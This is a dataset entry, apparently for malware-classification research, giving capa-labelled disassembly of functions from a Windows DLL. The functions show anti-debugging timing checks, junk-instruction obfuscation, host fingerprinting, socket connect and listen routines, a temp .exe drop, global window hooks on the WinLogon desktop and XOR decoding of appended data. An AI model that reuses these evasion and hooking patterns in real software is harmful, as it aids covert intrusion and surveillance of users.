joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004300
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
mov dword [ebp - 0x124], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10004324
sub al, 0x2d
pop eax
pop eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 0x118], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x110], 0
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], 0x2dc6c0
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp + 0xc]
jae 0x100044bd
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x120], 0
jmp 0x100043bb
mov ecx, dword [ebp - 0x120]
add ecx, 1
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0x108]
jae 0x100043e5
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ebp + eax*4 - 0x104]
cmp edx, dword [ecx + 4]
jne 0x100043e3
jmp 0x100043e5
jmp 0x100043ac
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x108]
jne 0x10004421
cmp dword [ebp - 0x108], 0x40
jae 0x10004421
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x124]
mov eax, dword [edx + 4]
mov dword [ebp + ecx*4 - 0x104], eax
mov ecx, dword [ebp - 0x108]
add ecx, 1
mov dword [ebp - 0x108], ecx
xor edx, edx
test edx, edx
jne 0x100043a0
lea eax, [ebp - 0x110]
push eax
push 0
push 0
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x124]
mov eax, dword [edx + 4]
add eax, 1
push eax
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jg 0x10004458
xor eax, eax
jmp 0x100044c2
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jg 0x10004488
xor eax, eax
jmp 0x100044c2
mov edx, dword [ebp - 0x118]
add edx, dword [ebp - 0x114]
mov dword [ebp - 0x118], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x114]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x11c]
sub ecx, dword [ebp - 0x114]
mov dword [ebp - 0x11c], ecx
jmp 0x10004387
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10005860
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001172c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x13c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10005893
sub al, 0x2d
pop eax
pop eax
lea ecx, [ebp - 0x12c]
call fcn.100037c0
mov dword [ebp - 4], 0
push 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x12c]
call fcn.10004b00
test eax, eax
jne 0x100058e2
mov dword [ebp - 0x130], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.10003840
mov eax, dword [ebp - 0x130]
jmp 0x10005a4c
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x12c]
call fcn.100045b0
test eax, eax
jne 0x10005923
mov dword [ebp - 0x134], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.10003840
mov eax, dword [ebp - 0x134]
jmp 0x10005a4c
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [ebp - 0x12c]
call fcn.10004300
test eax, eax
jne 0x10005994
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x13c]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 0x140], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.10003840
mov eax, dword [ebp - 0x140]
jmp 0x10005a4c
mov edx, dword [ebp - 0x14]
xor eax, eax
mov al, byte [edx]
and eax, eax
jne 0x100059ae
mov ecx, dword [ebp + 0xc]
mov dword [ecx + 0x400], 5
jmp 0x100059bb
mov edx, dword [ebp + 0xc]
mov dword [edx + 0x400], 0
mov eax, dword [ebp + 0xc]
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str._d_d.exe
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp + 0xc]
add edx, eax
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp - 0x18]
sub eax, 1
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 1
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.1000a030
add esp, 0xc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x144], eax
mov ecx, dword [ebp - 0x144]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x148], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.10003840
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005b60
Capabilities:
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
push ebx
push esi
push edi
mov dword [ebp - 0xb0], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10005b84
sub al, 0x2d
pop eax
pop eax
mov ecx, dword [ebp - 0xb0]
call fcn.10006060
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x18], eax
mov dword [ebp - 0xac], 0
mov ecx, 8
xor eax, eax
lea edi, [ebp - 0xa8]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0xac]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0xb0]
call fcn.10006150
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x98]
mov dword [edx + 0x1c], eax
mov dword [ebp - 0x20], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x18]
mov dword [edx + 8], eax
mov dword [ebp - 0x88], 0x10
lea ecx, [ebp - 0x88]
push ecx
mov edx, dword [ebp + 8]
add edx, 0xc8
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov eax, dword [ebp + 8]
cmp dword [eax], 0x1f40
jne 0x10005c3f
mov ecx, dword [ebp - 0xb0]
call fcn.10006260
movsx ecx, al
mov edx, dword [ebp + 8]
mov dword [edx + 0x14], ecx
mov eax, dword [ebp + 0xc]
add eax, 0x220
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10005c6b
mov ecx, dword [ebp + 8]
add ecx, 0xc8
push ecx
mov edx, dword [ebp + 8]
add edx, 0x48
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x10005c81
mov eax, dword [ebp + 0xc]
add eax, 0x220
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x48
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 0xc]
add edx, 0x3f4
mov eax, dword [ebp + 8]
add eax, 0x24
mov ecx, dword [edx]
mov dword [eax], ecx
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [edx + 8]
mov dword [eax + 8], ecx
mov edx, dword [edx + 0xc]
mov dword [eax + 0xc], edx
mov eax, dword [ebp + 0xc]
add eax, 0x3d0
push eax
mov ecx, dword [ebp + 8]
add ecx, 0x148
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 0xc]
add edx, 0x3b0
push edx
mov eax, dword [ebp + 8]
add eax, 0x188
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov edx, dword [ebp + 8]
mov dword [edx + 0x10], eax
mov word [ebp - 0x84], 0
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x82]
rep stosd dword es:[edi], eax
push 0x62
lea eax, [ebp - 0x84]
push eax
push 0x10015906
call fcn.10009fb0
add esp, 0xc
mov ecx, dword [ebp + 8]
mov dx, word [ebp - 0x84]
mov word [ecx + 0x1c8], dx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10005d40
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10005d5b
sub al, 0x2d
pop eax
pop eax
mov dword [ebp - 8], 0x5265c00
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 0x18], 2
mov cx, word [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10005da2
xor eax, eax
jmp 0x10005e44
push 0x10
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10005dc5
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005e44
push 4
lea edx, [ebp - 8]
push edx
push 0x1005
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10005df2
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005e44
push 4
lea edx, [ebp - 8]
push edx
push 0x1006
push 0xffff
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x10005e1f
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005e44
push bind
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10005e41
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x10005e44
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005e50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10005e6e
sub al, 0x2d
pop eax
pop eax
mov word [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x120], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x10005f64
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x10005efc
xor eax, eax
jmp 0x1000604b
mov word [ebp - 0x138], 0
xor edx, edx
mov dword [ebp - 0x136], edx
mov dword [ebp - 0x132], edx
mov dword [ebp - 0x12e], edx
mov word [ebp - 0x12a], dx
mov eax, dword [ebp - 0x13c]
movsx ecx, word [eax + 0xa]
mov edx, dword [ebp - 0x13c]
mov eax, dword [edx + 0xc]
mov esi, dword [eax]
lea edi, [ebp - 0x134]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
jne 0x10005fab
xor eax, eax
jmp 0x1000604b
mov ecx, dword [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10005fd6
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000604b
mov dword [ebp - 0x124], 1
push 4
lea edx, [ebp - 0x124]
push edx
push 1
push 6
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1000600f
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000604b
mov dword [ebp - 0x14], 1
push 4
lea edx, [ebp - 0x14]
push edx
push 8
push 0xffff
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x10006045
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000604b
mov eax, dword [ebp - 0x128]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006060
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push ebx
push esi
push edi
mov dword [ebp - 0xa0], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10006084
sub al, 0x2d
pop eax
pop eax
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0
mov ecx, 0x24
xor eax, eax
lea edi, [ebp - 0x90]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x80000000
jae 0x1000613b
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x100060f5
cmp dword [ebp - 0x8c], 0
jne 0x100060f5
mov dword [ebp - 0x98], 1
jmp 0x1000613b
cmp dword [ebp - 0x90], 5
jne 0x10006113
cmp dword [ebp - 0x8c], 1
jne 0x10006113
mov dword [ebp - 0x98], 2
jmp 0x1000613b
cmp dword [ebp - 0x90], 5
jne 0x10006131
cmp dword [ebp - 0x8c], 2
jne 0x10006131
mov dword [ebp - 0x98], 3
jmp 0x1000613b
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x98]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006150
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x2c], ecx
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x1000616e
sub al, 0x2d
pop eax
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x20], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.10011350
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
adc edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
rdtsc
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jg 0x10006213
jl 0x10006207
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jae 0x10006213
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x100061f5
rdtsc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
sbb eax, dword [ebp - 4]
push 0
push 0xf424
push eax
push edx
call fcn.10011350
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008dd0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10008deb
nop
nop
nop
nop
sub al, 0x2d
pop eax
pop eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x100145c8], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x100145cc], eax
push 0
push 0
push 0x10009400
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10008e59
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c10], 0
jne 0x10008e7d
push 0
mov ecx, dword [0x10014784]
push ecx
push 0x10008a70
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c10], eax
cmp dword [0x10015c0c], 0
jne 0x10008ea1
push 0
mov edx, dword [0x10014784]
push edx
push 0x10008990
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c0c], eax
push 0x2000000
push 0
push 0
push str.WinLogon
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10008ec8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c14], 0
jne 0x10008eec
push 0
mov ecx, dword [0x10014784]
push ecx
push 0x10008c80
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c14], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008f00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
nop
xor eax, eax
je 0x10008f1b
nop
nop
nop
sub al, 0x2d
pop eax
pop eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x10008f45
xor eax, eax
jmp 0x10008f8d
push 2
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009a40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10009a5e
sub al, 0x2d
pop eax
pop eax
mov byte [ebp - 0x114], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xc8
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [0x10014784]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
push bind
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
jne 0x10009ac6
xor eax, eax
jmp 0x10009ba3
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x10], edx
push 2
push 0
mov eax, dword [ebp + 0xc]
shl eax, 1
xor ecx, ecx
sub ecx, eax
push ecx
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xc], 0
jmp 0x10009b5e
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp + 0xc]
jae 0x10009b86
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0xc]
xor eax, eax
mov al, byte [edx]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 0xc]
mov byte [ecx], al
jmp 0x10009b55
mov edx, dword [ebp - 8]
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x120]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret